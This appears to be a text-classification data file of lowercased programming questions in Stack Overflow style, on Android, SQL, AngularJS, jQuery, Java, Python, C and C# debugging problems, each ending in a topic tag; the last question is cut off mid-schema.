error cannot resolve method settext  hello why i am having this error     <blockquote>    cannot resolve method settext(java.lang.string[])  </blockquote>  <pre><code>  public view getview(int position  @nullable view convertview  @nonnull viewgroup parent) {         if(convertview == null){             layoutinflater layoutinflater =(layoutinflater) getcontext().getsystemservice(activity.layout_inflater_service);             convertview =layoutinflater.inflate(r.layout.custom_list_layout  null true);         }         product product = getitem(position);         imageview imageview = (imageview) convertview.findviewbyid(r.id.imageviewproduct);         textview textname = (textview) convertview.findviewbyid(r.id.textname);         textname.settext(product.getname());          textview textprice = (textview) convertview.findviewbyid(r.id.textprice);         textprice.settext(product.getprice());         return super.getview(position  convertview  parent);     } } </code></pre>,android
mysql evaluation of expression changes during usage <pre><code>select     @x := (600  - count(h.challenge_user_historyid)) / 180 as x      case         when (1 &gt; 2)             then 25         else             1 + @x     end as priority      count(h.challenge_user_historyid) as n_games_actual from campaigns c left join challenge_user_history h     on (c.challengeid = h.challengeid) group by c.campaignid order by     priority desc;   +-------------+------------------+----------------+ |      x      |        priority  | n_games_actual | +-------------+------------------+----------------+ | 3.000000000 | 4.11110000000000 |             60 | | 3.222222222 | 4.11110000000000 |             20 | | 3.333333333 | 4.11110000000000 |              0 | | 3.111111111 | 4.11110000000000 |             40 | | 2.777777777 | 4.11110000000000 |            100 | +-------------+------------------+----------------+ </code></pre>   which seems strange to me. if it is correctly obtaining the value of the <code>count()</code> of <code>n_games_actual</code> in evaluating <code>x</code> (as seen in values of x in output)  then why does it go wrong when doing essentially the same calculation during priority   and how can this be rectified      thanks.,mysql
column  registry_num  is ambiguous  this is my code but the error that <code>registry_num</code> is ambiguous. also when i get rid of registry_num the results only return the data from my offenders table.   <pre><code>select first_name  last_name  address1    address2  city  state    start_date  end_date  registry_num from offenders left outer join addresses on address1 =  disney  or  cruise ; </code></pre>,sql
contact list in angular js working in older version not in new version  i am new to angular js and i am learning from this <a href= http://viralpatel.net/blogs/angularjs-controller-tutorial/  rel= nofollow >site</a>.  here i am trying to do the same contact list     it was working fine with older version angular js ver 1.1.1. when i am trying using 1.3.1 it was not working    here is the fiddle <a href= http://jsfiddle.net/karthic2914/aldjj/1655/  rel= nofollow >link</a>   <pre><code> &lt;div ng-app=   ng-controller= contactcontroller &gt;     &lt;p&gt;enter an email address in below textbox and press add button:&lt;/p&gt;     &lt;input type= text  ng-model= newcontact  placeholder= email  /&gt;     &lt;button ng-click= add() &gt;add&lt;/button&gt;     &lt;h2&gt;contacts&lt;/h2&gt;     &lt;ul&gt;         &lt;li ng-repeat= contact in contacts &gt;{{ contact }} &lt;/li&gt;     &lt;/ul&gt; &lt;/div&gt;  &lt;script&gt;     function contactcontroller($scope) {         $scope.contacts = [ maha@gmail.com    hello@email.com ];          $scope.add = function () {             $scope.contacts.push($scope.newcontact);             $scope.newcontact =   ;         }     } &lt;/script&gt; </code></pre>   but not with new version of angularjs. could anyone help me why the above is not working with new version.    thanks in advance,angularjs
failed to download the site at once  <a href= https://bitcoinmaker.jp/list-system/  rel= nofollow noreferrer >https://bitcoinmaker.jp/list-system/</a>    i tried down this site with sitesucker for mac  but i can do dl but can not open index.html what kind of cause can be considered,html
jquery append to adjacent element  here s the structure.   <pre><code>&lt;div&gt;   &lt;a&gt;blah&lt;/a&gt;   &lt;span&gt;5&lt;/span&gt; &lt;/div&gt; &lt;div&gt;   &lt;a&gt;blah&lt;/a&gt;   &lt;span&gt;6&lt;/span&gt; &lt;/div&gt; </code></pre>   and here s what i want   <pre><code>&lt;div&gt;   &lt;a&gt;blah&lt;span&gt;5&lt;/span&gt;&lt;/a&gt; &lt;/div&gt; &lt;div&gt;   &lt;a&gt;blah&lt;span&gt;6&lt;/span&gt;&lt;/a&gt; &lt;/div&gt; </code></pre>   here s what i tried   <pre><code>$( div span ).appendto( a   this); </code></pre>   but i ended up with both spans landing in both a elements.,jquery
how to add days in current days dynamically in php  currently i am working on creating ecommerce website in that on order return section user can only return goods for particular time from the time product was delivered.(ex. if product is deliver on <code>10-7-2018</code> and return day vale in database is <code>10</code> than after <code>20-7-2018</code> the button of return should hide automatically.   <pre><code>$date1 = date( y-m-d ); //current date $date3 = $return_days[ value ]; //day count value //echo $date3. &lt;br&gt; ; //it will print day count value                                            $date2 = date( y-m-d   strtotime($num[ updated_date ] . + .$date3)); // i am adding $date3 and $num[ updated_date ] value  </code></pre>   if <code>$num[ updated_date ]</code> value is <code>10-7-2018</code> and <code>$date3</code> value is <code>10</code> than output of <code>$date2</code> should <code>20-7-2018</code> but my code is not giving desired output.    if any body know solution than please help.,php
how to replace malloc in linked list  i am currently working on injecting faults and in one of the application i want to replace dynamic part(malloc) and make it static  so that it is not dependent on kernel instructions. here is the basic linked list program. how do i replace malloc instruction  and still make liked list to work.   <pre><code>struct test_struct* create_list(int val) {     printf( \n creating list with headnode as [%d]\n  val);          struct test_struct *ptr = (struct test_struct*)malloc(sizeof(struct test_struct));      if(null == ptr1)     {            printf( \n node creation failed \n );         return null;     }      ptr1-&gt;val = val;     ptr1-&gt;next = null;     head = curr = ptr1;     return ptr1; } </code></pre>,c
optimising splitting of files  hi i currently use the following code to split a file into muliple 2mb smaller parts.   <pre><code>const int buffer_size = 20 * 1024; byte[] buffer = new byte[buffer_size];  using (stream input = file.openread(inputfile)) {     int index = 0;     while (input.position &lt; input.length) {         using (stream output = file.create(path)) {             int remaining = chunksize  bytesread;             while (remaining &gt; 0 &amp;&amp; (bytesread = input.read(buffer  0                          math.min(remaining  buffer_size))) &gt; 0) {                 output.write(buffer  0  bytesread);                 remaining -= bytesread;             }         }     }     index++; } </code></pre>   this works perfectly  and will split a 10mb file into 5 x 2mb files 0.part 2.part ect...    i would like to know how i would generate just part 3 again knowing the chunksize always stays at 2mb. i can achieve this by wrapping in an if else and evaluating index  but with a 1gb file this process can take a while to loop through.  i d like to understand this function more and how i can just get the part of the file i require,c#
directive that checks validation in agualrjs - $scope is not defined error  when i trying to do server-side validation on my  name -field  by adding a directive:   <pre><code> app.directive( uniquename   function($http) {     var toid;     return {         require:  ngmodel           link: function(scope  elem  attr  ctrl) {              scope.$watch(attr.ngmodel  function(value) {                      $http.get( /rest/isuerexist/  + value).success(function(data) {                          //set the validity of the field                         $scope.$apply(function(s) {                             ctrl.$setvalidity( uniquename   data);                         });                     });             })         }     } }); </code></pre>   why it returns <strong> $scope is not defined </strong> message in console      <strong>update:</strong>    if i use scope.  but not  $scope.   then i have different error in the console:   <blockquote>    error: $digest already in progress  </blockquote>,angularjs
creating directories based off variable names  i have been creating a c program that is going to pull a range of data from excel and store it in variables. my question  how do i create a directory in c that uses variables. i have tried several ways yesterday while at work.    <pre><code>#include &lt;stdio.h&gt;  int main(void) {     //creating directory (works)     system( md e:\sub_directory );     system( mkdir e:\\sub_dir2 );      //trying to create directory based off variables (not working yet)     char custname[50] =  mars ;     char product[50] =  chocolate drops ;     int jobnumber = 100;      system( md e:\\  jobnumber custname product   jobnumber custname product); system( md e:\\%04i %s %s  jobnumber custname product);     return 0; } </code></pre>   as you can see above  this is the code that i finished up with. the first section was just a reference point so i know base command structure. i then proceeded to fiddle with formatting that i currently know which didnt work.    would anyone be able to shed some light on how i would use variables name to create the directories  (im currently working on a windows 10 machine but the program is going to be run on a windows 7 machine. i dont know if this changes anything.,c
strange sql problem selecting multiple values for same column  been at this for a few hours now and i can t make any sense of it. i ve used this way of selecting multiple values for same column a few times  but there is something weird with this one.   <pre><code>select * from employee as s inner join works as w1 on w1.name = s.name inner join employee as w2 on w2.name = s.name inner join employee as w3 on w3.name = s.name where w2.city =  washington  </code></pre>   basically what i want to do is find all companies which have people in all the cities. the company name is under  works . the problem is however that if i have the where w2.city= washington  it will make all the cities match washington when it should only touch w2 and leave w3 alone so i could match it with another value.    anyone know why its doing this  or know a better way to do it.    thank you very much in advance.,mysql
how to call procedure wrapped up in package  i need to manually call the procedure proc_entry_time for loading fresh data into table_entry_time. how do i do that    <pre><code>create or replace package body pk_entry_time is procedure proc_entry_time as begin     execute immediate  truncate table table_entry_time ;     insert into table_entry_time          select  table_case.id_number   max( table_act_entry.entry_time )         from  sa.table_case table_case              inner join  sa.table_act_entry   table_act_entry             on  table_case.objid = table_act_entry.act_entry2case      commit; end  proc_entry_time; </code></pre>,sql
python print in same line  i ve been trying to write my output to the same line and have already searched stackoverflow. it seems what works for everyone else is not working for me !! here s my code:   <pre><code>count = float(len(emails)) counter = 0 symbols = [ /   -   |   \\   | ] for e in emails:     print  %s inserting emails %s%%\r  % (symbols[counter % 5]  counter / count * 100)      sys.stdout.flush()     counter += 1     </code></pre>   the comma after the print still causes a carriage return !!   <pre><code>| inserting emails 3.312% \ inserting emails 3.313% | inserting emails 3.314% / inserting emails 3.315% - inserting emails 3.316% | inserting emails 3.317% \ inserting emails 3.318% </code></pre>   what is the issue,python
get vertices from 3dmodel in iphone when tapped on the 3dmodel  i am using opengles to render the 3d model i wanted to know if there is any thing like i can get vertices of touched section of 3d model.    thanks in advance.,iphone
how can we post dynamic json values in retrofit  i am developing an e-commerce android application. am stuck in a situation  i don t know how to handle the situation. that is     how can i post dynamic json values in retrofit. for example    <pre><code>{  type : 1    typeid : 10    userid : 15    filters :{    price : from-to      attribute_code : values      ... : ....      ... : ....    } } </code></pre>   in this the  filter  is another object in the main json. the values in  filter  json is dynamic like sometime it may have  price    size  or sometimes it may have  price  only or some times it may have  price   size   offers  etc.. how can we handle this circumstance..    thanks,android
object oriented approach in simple program  i m trying to make a simple program with student class and several methods in main class doing job (list  create and write to file  del item  add item  search and sort items).  it s running good but  i wish to have it in more  clean way  or  object oriented  way so to speak. any ideas how to improve it a bit  below is the code. thanks for any suggestions!   <pre><code>public class simpledb {  static filewriter fstream; static bufferedwriter out; public static arraylist&lt;student&gt; students; static scanner menusc; static file file; static scanner nameoffile; static filewriter wr; static scanner addnameandemail; static scanner sort; static scanner search;  public static void createwritetofile() {     try {          string aktdir = system.getproperty( user.dir );// the directory where app (java) was started (working dir)         //system.out.println( aktual dir&gt;  + aktdir);         system.out.println( please enter name of file ...\n );         nameoffile = new scanner(system.in);         string nof = nameoffile.nextline();          file = new file(nof);         if (!file.exists()) {             system.out.println( creating new file :   + nof);         }         try {    //create new file             file.createnewfile();         } catch (ioexception ex) {             logger.getlogger(simpledb.class.getname()).log(level.severe  null  ex);         }         system.out.println( writing to file   + nof);         try {             wr = new filewriter(nof);         } catch (ioexception ex) {             logger.getlogger(simpledb.class.getname()).log(level.severe  null  ex);         }         for (student stu : students) {             try {                 wr.write(stu.tostring());             } catch (ioexception ex) {                 logger.getlogger(simpledb.class.getname()).log(level.severe  null  ex);             }          }         wr.close();     } catch (ioexception ex) {         logger.getlogger(simpledb.class.getname()).log(level.severe  null  ex);     } }  public static void sort() {     boolean b = true;     while (true) {         system.out.println( sorting&gt; by name: type n  by email: type e  for exit: type x \n );         sort = new scanner(system.in);         string s = sort.nextline();         switch (s) {              case  n :                 system.out.println( sorting by name....: \n );                 students.sort((student s1  student s2) -&gt; {                     return s1.getname().comparetoignorecase(s2.getname());                 });                  system.out.println( sorted by name&gt; \n  + students);                 break;              case  e :                 system.out.println( sorting by mail....: \n );                 students.sort((student s1  student s2) -&gt; {                     return s1.getemail().comparetoignorecase(s2.getemail());                 });                 system.out.println( sorted list&gt; \n  + students);                 break;             case  x :                 system.out.println( returning to main menu... );                 b = false;                 return;              default:                 system.out.println( please enter correct choice!  );                 break;          }      } }  public static void search() {     system.out.println( enter a name you want to search&gt;  \n );     search = new scanner(system.in);     boolean bol = false;     string se = search.next();     for (int i = 0; i &lt; students.size(); i++) {         if (se.equalsignorecase(students.get(i).getname())) {             bol = true;             break;         }     }     if (bol) {         system.out.println( found );     } else {         system.out.println( not found );      } }  private static void add() {     addnameandemail = new scanner(system.in);     system.out.println( please enter a name:  );     string n = addnameandemail.nextline();      system.out.println( please enter an email:  );     string e = addnameandemail.nextline();      students.add(new student(n  e));     system.out.println( \n  +  new student   + students); }  public static void list() {     system.out.println( list of students&gt;  );     string l = null;     for (student stu : students) {         system.out.println(stu);      }  }  public static char menu() {     system.out.println(               +    a  list   b  add   c  save to file   d  search   e  sort data   f  exit from program &gt;  );     menusc = new scanner(system.in);     string c = menusc.nextline();     if (c.isempty()) {         return    ;     } //files.copy(null  null  options)      return c.touppercase().charat(0); }  public static void main(string[] args) throws ioexception {      // some students added     students = new arraylist&lt;&gt;();     students.add(new student( alan    alan@gmail.com ));     students.add(new student( michael    michael@gmail.com ));     students.add(new student( peter    peter@gmail.com ));     students.add(new student( andrew    andrew@gmail.com ));     boolean a = true;     while (a = true) {          char c = menu();          switch (c) {              case  a :                 list();                 break;             case  b :                 add();                 break;             case  c :                 createwritetofile();                 break;             case  e :                 sort();                 break;             case  d :                 search();                 break;             case  f :                 system.out.println( good bye! );                 a = false;                 return;          }      }  } } </code></pre>,java
why can t i pass a type variable to the keyword  default  in c#   i was to dynamically return the default value of a type  but i can t pass the default keyword a variable of type type.    why not     eg:   <pre><code>    private object getspecialdefaultvalue(type thetype)     {         if (thetype == typeof (string))         {             return string.empty;         }         if (thetype == typeof (int))         {             return 1;         }         return default(thetype);     } </code></pre>   gives me the compile time error:   <blockquote>    the type or namespace name  thetype  could not be found (are you   missing a using directive or an assembly reference )  </blockquote>,c#
resize image with responsive layout  can someone help me figure out why my logo image isn t resizing according the the browser size     ----------------css---------------------   <pre><code>body {        height: 100%;        background-color:#333; } #logo {       max-width: 100%; } img {      border: 0;      max-width: 100%;      height: auto;  } #header-bg {     background-image: url( header-bg.png );     overflow: auto;     width: 100%; } </code></pre>   ----------------html-------------------   <pre><code> &lt;body&gt;     &lt;div id= header-bg &gt;     &lt;div id= logo &gt;         &lt;img src= logo.png  /&gt;      &lt;/div&gt;    &lt;/div&gt; &lt;/body&gt; </code></pre>,css
python call exec() inside a function  i try to execute string code using exec function which is being called at another function. however  it doesn t print anything. how do i execute string code in this case    <pre><code>def test_code():     print  test_code   def run():     try:         a=    def test2():             print  test2               test_code()             test2()             exec(a)     except exception as e:         print e  run() </code></pre>,python
setting an html option value to the empty string  i have the following html code used to create  on a page:   <pre><code>&lt;select&gt;     &lt;option value=   selected&gt;test&lt;/option&gt;     &lt;option value= test2 &gt;test2&lt;/option&gt; &lt;/select&gt; </code></pre>   but when looking at the html in google chrome s dom inspector it looks like this:   <pre><code>&lt;select&gt;     &lt;option value selected&gt;test&lt;/option&gt;     &lt;option value= test2 &gt;test2&lt;/option&gt; &lt;/select&gt; </code></pre>   see the difference   for the first <code>&lt;option&gt;...&lt;/option&gt;</code>  <code>value=  </code> is turned into just <code>value</code>.  the value  when set to the empty string is simply discarded.  is there any way to set the value of an option tag to the empty string   i need this because i m pulling elements out of a database to create a <code>&lt;select&gt;</code> menu.  each <code>&lt;option&gt;</code> will have it s <code>value</code> set to value of a database element and some of those elements have the empty string as their value.,html
error cs1002: ; expected -- i have a semicolon. :(  trying to create a new instance of the  mortgagedata  object.     professor said to use:   <pre><code>classname instancename = new classname(arg1  arg2  arg3  arg4); </code></pre>   i used   <pre><code>mortgagedata somethingsomething = new mortgagedata(id principal apr term); </code></pre>   keep getting error cs1002: ; expected with the class name after new underlined in red. i m using visual studio 2008.    not sure what to do.,c#
else statement doesn t seem to execute  i m a complete begginner and was hoping to get some help on my first script.    basically i want one link that when clicked makes a div slide down and changes the links text  when its clicked again the process reverses.    here is my code:   <pre><code>$(function() { if ($( #link1:contains( link text ) )) {         $( #link1 ).click(function() {             $( #div1 ).slidedown(2000);             $( #link1 ).text( hide div 1 );         });  } else {         $( #link1 ).click(function() {             $( #div1 ).slideup(2000);             $( #link1 ).text( link text );         });  } }); </code></pre>   any help would be appreciated  thanks guys.,jquery
java else part is not getting executed  i am having a piece of if-else code to check if a string is displayed  to my surprise the else part is not getting executed at all.    for eg: if the error string is shown  the if part works fine. in cases where the error string is not shown  the else part is not getting executed. kindly help   <pre><code>if(geterrtext.length() &gt; 0) {     system.out.println(geterrtext +   for  + readeriterator); } else {     system.out.println(  error is not displayed - err cell  +   for  + readeriterator); } </code></pre>,java
url routing - passing data outside of the url  i m using the mvc url rewriting functionality in a standard web forms application so i can have nice-looking urls.    however i ve reached a point in my application where i need to pass data between pages which would look both long &amp; ugly if it was included in the url. up until this point i ve been cutting up the url behind the scenes  grabbing data and assigning them to the httpcontext.items collection.    since httpcontext.items is per-request i clearly need to find an alternative. for various reasons i m loathe to use either session or server.transfer to do the job.    is there any other way i can pass data around,.net
css text-align:center being ignored  i have the following site that is using a css sheet i inheritated from the last dev.      <a href= http://bit.ly/1m0lzjz  rel= nofollow >http://bit.ly/1m0lzjz</a>    everything seems okay except for the menu.  originally in the #nav (line 381 of the style sheet) css the width was a fixed 960px.  i changed this to 100% by user request and now cannot get the text to center     i used text-align:center and also commented out the ul elements use of float:left thinking that was the problem.  what else can i try,css
uialertview with radio buttons ios  how can i create a customize alert view in ios with radio buttons on it like this one in android (what i want is in ios).    <img src= https://i.stack.imgur.com/bdbyc.png  alt= enter image description here >    i search for a while and cannot find any way to do it so i ask here.,ios
dry usage of common directive used across all views  if i have an angular router of say 10 views  and each view has the same banner is it redundant to have to declare the same directive that wraps the banner and its controller in each view,angularjs
jquery validation script not resetting when another ajax call is made  hey  i m using a jquery plugin and when i focus in on a field and focus out it alerts me of a validation error.    now in my set up i have a menu that loads content from another page via ajax  and with in that content i have another sub menu that also calls content in with another ajax request.    scenario    i click on files from main menu  then click on view from sub menu  then on create from there (using another ajax request)    on the create content is where i am using the validation plugin  so like i said when i focus in and out it works  but if i click on files again from the main menu the validation error remain in place where they popped up. if i click on view from the sub menu then the validation error fade out.    i tried to isolate the issue as to why the error fade out with an ajax call from the sub menu but now with the main menu.    main menu script:   <pre><code>//------------------------------------------------------------------ // pidget menu //------------------------------------------------------------------ var content =  #main-content       wrap =  #wrap ; $( nav a.files-menu-link ).live( click   function({     $.validationengine.closeprompt( .formerror  true);     $(content).hide(200  function(){         $(wrap).load( files.php  + content  function(){             $(this).hide().html(data).slidedown(500);         });     })     return false; }); </code></pre>   sub menu script   <pre><code>$( a#prospect-file-link ).live( click   function(){     $.validationengine.closeprompt( .formerror  true);     $.post( resources/ajax/ajax.php   {         action :  prospects           uid    : uid     }  function(data){         $( #files-right-pane ).hide().html(data).slidedown(500);         $( .alpha ).click(function() {             $(this).find( span ).toggleclass( expand-alpha-down );             $(this).next( .show ).slidetoggle();             return false;         });     });     return false; }); </code></pre>   then the create new script   <pre><code>//-- create new prospect $( a.new-prospect ).live( click   function(){     $( #files-right-pane ).fadeout(200);     $.post( resources/ajax/ajax.php   {         action :  create_prospect           uid    : uid     }  function(data){         $( #files-right-pane ).hide().html(data).slidedown(500);         selectbox( prospect-type    prospect-type-td );         selectbox( status    status-td );         selectbox( primary-number    primary-td );         selectbox( secondary-number    secondary-td );         mce( new-prospect-comments );         $( #new-prospect-form ).validationengine();         $( .state ).autosuggest( resources/ajax/suggest.php   {minchars: 2  matchcase: false  starttext:     ashtmlid:  state });     });     return false; }); </code></pre>   html markup   <pre><code>... &lt;td&gt;&lt;input type= text  id= first_name  name= first_name  class= validate[required]  /&gt;&lt;/td&gt; &lt;td&gt;&lt;input type= text  id= middle_name  name= middle_name  /&gt;&lt;/td&gt; &lt;td&gt;&lt;input type= text  id= last_name  name= last_name  class= validate[required]  /&gt;&lt;/td&gt; ... </code></pre>   thats my setup  i can t figure out the .closepromp() works in the view but not with the main menu link,jquery
swap list / string around a character python  i want to swap two parts of a list or string around a specified index  example:   <pre><code>([1  2  3  4  5]  2) </code></pre>   should return   <pre><code>[4  5  3  1  2] </code></pre>   i m only supposed to have one line of code  it works for strings but i get    can only concatenate list (not  int ) to list    when i try to use lists.   <pre><code>def swap(listorstring  index):      return (listorstring[index + 1:] + listorstring[index] + listorstring[:index]) </code></pre>,python
http get request in multiple array  im getting using http get request to get information from my mysql server by using this code:   <pre><code>nsstring *urlstring =  [nsstring stringwithformat:@ http://ratemyplays.com/songs.php listid=%d   selectedrowvalue]; nsmutableurlrequest *request2 = [[nsmutableurlrequest alloc]init]; [request2 settimeoutinterval:20.0]; [request2 seturl:[nsurl urlwithstring:urlstring]]; [request2 sethttpmethod:@ post ];  nsstring *phparray = [[nsstring alloc] initwithdata:[nsurlconnection sendsynchronousrequest:request2 returningresponse:nil error:nil] encoding:nsutf8stringencoding];  playarray = [phparray componentsseparatedbystring:@ . ]; </code></pre>   this will result in a playarray with 10 objects. is there a way where i can create a multiple array with first 5 objects in 1 object.     if not how can i make sure that third object in 1 array and every fourth array in another array and so on     the data structure can be seen here: <a href= http://ratemyplays.com/songs.php listid=0  rel= nofollow >http://ratemyplays.com/songs.php listid=0</a>    i would like to make it like this in array or something like this:   <pre><code>@[@[2]  @[0]  @[nu6mdd6e1oa&amp;]  @[4:02]  @[dvbbs &amp; borgeous]  @[tsunami]]  @[@[1]  @[0]  @[ b_eydvsmp8g]  @[3:24]  @[henrik b  niklas gustavsson  peter johansson]  @[echoes]] </code></pre>,objective-c
output of return statement  here  not able to understand the nature of return....   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  int fun1(int i) {         return ; }  int main() {         int i = 0;         for (i = 0; i&lt;5; i++)         {                 printf( %d\n  fun1(i));         }         return 0; } </code></pre>   output: 0 1 2 3 4    can somebody explain,c
how to convert image to .resx file in .net 4.0   how to convert image to .resx file in .net 4.0  seems to be resxgen.exe is no more present with the framework toolset. could someone let me know is there a way to achieve this via some tool not using visual studio,.net
query to delete duplicates is generating an error  i am trying to delete duplicates from a table based on the customer phone number. the inner select query below correctly selects all duplicate records which i need to delete  however the outter delete query generates the following error:   <pre><code>you can t specify target table  customers  for update in from clause </code></pre>   query:    <pre><code>delete from customers where id in (select id from customers group by phone having count(phone) &gt; 1) </code></pre>,mysql
which method is called the first one if we have overriden methods in java   as i know  if we have overridden methods in java the first one which is called is overridden one. in this case i have initialized <code>dog</code> object and i call method <code>f</code> which has one string inside. class <code>tomato</code> extends class <code>food</code>. but why in this case i get as an answer <code>null</code> when it cleary should be <em>tomato</em> name and <em>blee</em> at the end    <pre><code>public class animal {     string name;      public void f(food t) {         system.out.println(t.name);     } }  public class dog extends animal {     string name;      public void f(tomato t) {         system.out.println(t.name +  blee );     } } </code></pre>   and this is call:    tomato is subclass of food!   <pre><code>tomato t = new tomato();     t.name =  jdfjkgdlkg ;       animal amor = new dog();      amor.f(t); </code></pre>,java
how to push selected checkbox data into array using angularjs   i have a tables array consist of two objects. each object having the tablename.  i use ng-repeat for the checkbox. when i select the checkbox selected object will push into array [tablelist] and the array will use for drodownlist.   <pre><code>$scope.tables=[{ tabelname : t1} {{tabelname:t2}}] $scope.tablelist=[] </code></pre>   this is my html code   <pre><code>&lt;div ng-repeat= table in tables &gt;     &lt;span class= col-sm-1 &gt;     &lt;input type= checkbox  ng-model= table.tablename  class= form-group &gt;{{table.tablename}}&lt;/span&gt; &lt;/div&gt;  &lt;select ng-options= table.tablename as table.tablename for table in  tablelist&gt;&lt;/select&gt; </code></pre>,angularjs
sql query learning stuff  i want to learn sql/tsql queries. can somebody tell me how to learn it  i have learned syntax and some basics too  but i m not finding any good stuff to make practice and learn it. does anybody have any ideas,sql
java function/gui  i m trying to make a calculator with gui  and i figured out i will have to repeat the jbutton code million of times  so i decided to make a function instead  but i m not able to do a function. here s what i did   <pre><code>public static void button(string name  int size1  int size2  int loc1  int loc2) {     jbutton l=new jbutton(name);     l.setsize(size1  size2);     l.setlocation(loc1  loc2);     } </code></pre>   and inside the main  i did this   <pre><code>myform.add(button( 5   20  20  20  20)); </code></pre>   after declaring myform for sure  but i keep getting this error: the method add(component) in the type container is not applicable for the arguments (void)    i m new to functions and java  thus it looks confusing. thank you.,java
app crash while setting box api key  i register by app on box.com and get api key and start using it in my xcode project but app get crash while setting boxapi at line:   <pre><code>[box setboxapikey:@ insert_key_here ];. </code></pre>   the error:   <blockquote>    -[nsurl initfileurlwithpath:]: nil string parameter  </blockquote>   no idea how to solve this issue.,ios
variable at start of list not defined  i am having a problem with whatever variable is first in the list. for example  if the list began with a  it throws a nameerror  and when it starts with b  it too throws a name error. i am absolutely baffled by this and i would appreciate any insights.    note: this is a generalised version of my program as i wanted to keep it relevant to others. there are many variables in my full program  so that s why i am importing them separately (aesthetics).     the main program   <pre><code>import variables  variables = [a  b  c]  with open( /users/bendowling/user_input.txt    r ) as userinputfile:     userinput = userinputfile.read()     userinput = userinput.strip()     userinput = userinput.lower()  userinputfile = open( /users/bendowling/user_input.txt    w+ )  for vars in variables:     if vars in userinput:         userinputfile.write( %s   vars)  userinputfile.close() </code></pre>   the variables (i.e. variables.py)   <pre><code>a = [ something1    something2    something3 ]  b = [ something4    something5    something6 ]  c = [ something7    something8    something9 ] </code></pre>,python
find my element has `inline` style applied  i have an element  from the element how do i know whether it has the <code>inline</code> style applied or not     example :    html :   <pre><code>&lt;span style= border:1px solid red; &gt;testing&lt;/span&gt; //&lt;span&gt;testing&lt;/span&gt; //without style as well getting some in build info </code></pre>   js :   <pre><code>var sty = $( span ).prop( style ); console.log(sty); //it always consoles something! </code></pre>   <a href= http://jsfiddle.net/zgv74ew1/  rel= nofollow >jsfiddle</a>,jquery
access to the system path is denied  when using  system.io.directory.delete   i m using <code>system.io.directory.delete</code> and trying to delete system folders such as  my music    my videos  etc  but i get errors similar to  access to the system path  c:\users\jbloggs\saved games  is denied . i can however delete these folders via explorer without any problems  i have full permissions to these folders. any suggestions on what i can try     my code:   <pre><code>public static void clearattributes(string currentdir) {     if (directory.exists(currentdir))     {         string[] subdirs = directory.getdirectories(currentdir);         foreach (string dir in subdirs)             clearattributes(dir);         string[] files = files = directory.getfiles(currentdir);         foreach (string file in files)             file.setattributes(file  fileattributes.normal);     } } </code></pre>   usage:   <pre><code>try {     clearattributes(folderpath);     system.io.directory.delete( c:\\users\\jbloggs\\saved games   true); } catch (ioexception ex) {     messagebox.show(ex.message); } </code></pre>,.net
"how browser handles some tags as  allow overlap  and others as  do not allow   <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;br&gt;&lt;b&gt;abcdef&lt;u&gt;ghjiklom&lt;/b&gt;pqrst&lt;/u&gt;uvwxyz
 &lt;br&gt;&lt;b&gt;abcdef&lt;ins&gt;ghjiklom&lt;/b&gt;pqrst&lt;/ins&gt;uvwxyz</code></pre>
 </div>
 </div>
     see how in the first example the underline goes down to <code>t</code> and in the second one it abruptly ends at <code>m</code>. but the code is basically identical  except that <code>u</code> is supposed to change particular look and <code>ins</code> is just a hint that text was inserted and should be marked  somehow   ok it is marked as underline. experience tells me that this must be ok  but i just wonder why some tags allow to be overlapped with some other tags and paired to some others are not allowed to be overlapped  is there a table of pairs somewhere inside the browser  or some tags are marked as  overlap-friendly   why is this",html
keeping track of players in a game (java)  i m making a simple game for a bot in discord. a word is printed and people have to guess the reading of the word and if they get it right  they get a point. they will have say 5 seconds to answer before the bot moves on. i wanna make this so that i don t have to specify the amount of players at the beginning of the game  people can just jump in.     then once someone reaches a certain amount of points  they win the game.    <pre><code>public static void vocabgame (messagereceivedevent event  string level  int total) {     int points = 0;       //pause the program for 10000 milliseconds  or 10 seconds  before starting.     event.gettextchannel().sendmessage( ` +level+  vocab quiz starting in 10 seconds. \nfirst to reach  +total+  points wins.` ).queue();     try {         thread.sleep(10000);     } catch (interruptedexception e) {         // todo auto-generated catch block         e.printstacktrace();     }      //not sure what to do with this while loop condition     while (points &lt; total) {         //store random line from text file and store in text variable.         string text = reader.filereader(level);           //using patterns and matchers  going to break apart the text from the text file.          //the question first         pattern question = pattern.compile( \\{ \ question\ : \ (.* )\  );         matcher questionmatch = question.matcher(text);         questionmatch.find();         string word = questionmatch.group(1);          //the answer second         pattern answer = pattern.compile( \ answers\ : [ \ (.* )\  );         matcher answermatch = answer.matcher(text);         answermatch.find();         string ans = answermatch.group(1);           //get image of word from dummyimage and then print. picture size can be changed via the url         try {             final bufferedimage image = imageio.read(new url( https://dummyimage.com/300x100/000/fff.png&amp;text= +word));             imageio.write(image   png   new file( word.png ));         } catch (malformedurlexception e1) {             // todo auto-generated catch block             e1.printstacktrace();         } catch (ioexception e1) {             // todo auto-generated catch block             e1.printstacktrace();         }         //print picture with word on it         message message = new messagebuilder().append( word: ).build();         event.gettextchannel().sendfile(new file( word.png )  message).queue();           //todo figure out a way to make the program wait for input  not just putting it to sleep         try {             thread.sleep(5000);         } catch (interruptedexception e) {             // todo auto-generated catch block             e.printstacktrace();         }           points++; //this is temp     }    } </code></pre>   my question is how do i tackle keeping track of the points  i m not asking you to write code for me  but just put me on the right track because i am unsure and haven t ever done anything like this before.     i was thinking about a while loop that kept grabbing user input while a timer was active  not that i know how to implement a timer. because if no one answers  the bot moves on anyway.,java
how to get top users from assignment  i am building a rails 5.0 app.    in this app i got three models  user  feedback and assignment.    when a user adds one or more receivers to a feedback object that he or she creates an assignment is created to hold this connection.    <strong>user</strong>   <pre><code>user(id: integer  account_id: integer  fullname:string) </code></pre>   <strong>feedback</strong>   <pre><code>feedback(id: integer  account_id: integer  user_id: integer  title: string  ftype: string  badge: string  category: string  privacy: string  anonymous: boolean  description: text  created_at: datetime  updated_at: datetime)  create_table  feedbacks   force: :cascade do |t|     t.integer   account_id      t.integer   user_id      t.string    title      t.string    ftype         default:  provided      t.string    badge      t.string    category      t.string    privacy      t.boolean   anonymous     default: false     t.text      description      t.datetime  created_at                         null: false     t.datetime  updated_at                         null: false     t.index [ account_id ]  name:  index_feedbacks_on_account_id   using: :btree     t.index [ user_id ]  name:  index_feedbacks_on_user_id   using: :btree   end </code></pre>   <strong>assignment</strong>   <pre><code>assignment(id: integer  account_id: integer  user_id: integer  assignable_type: string  assignable_id: integer  created_at: datetime  updated_at: datetime)   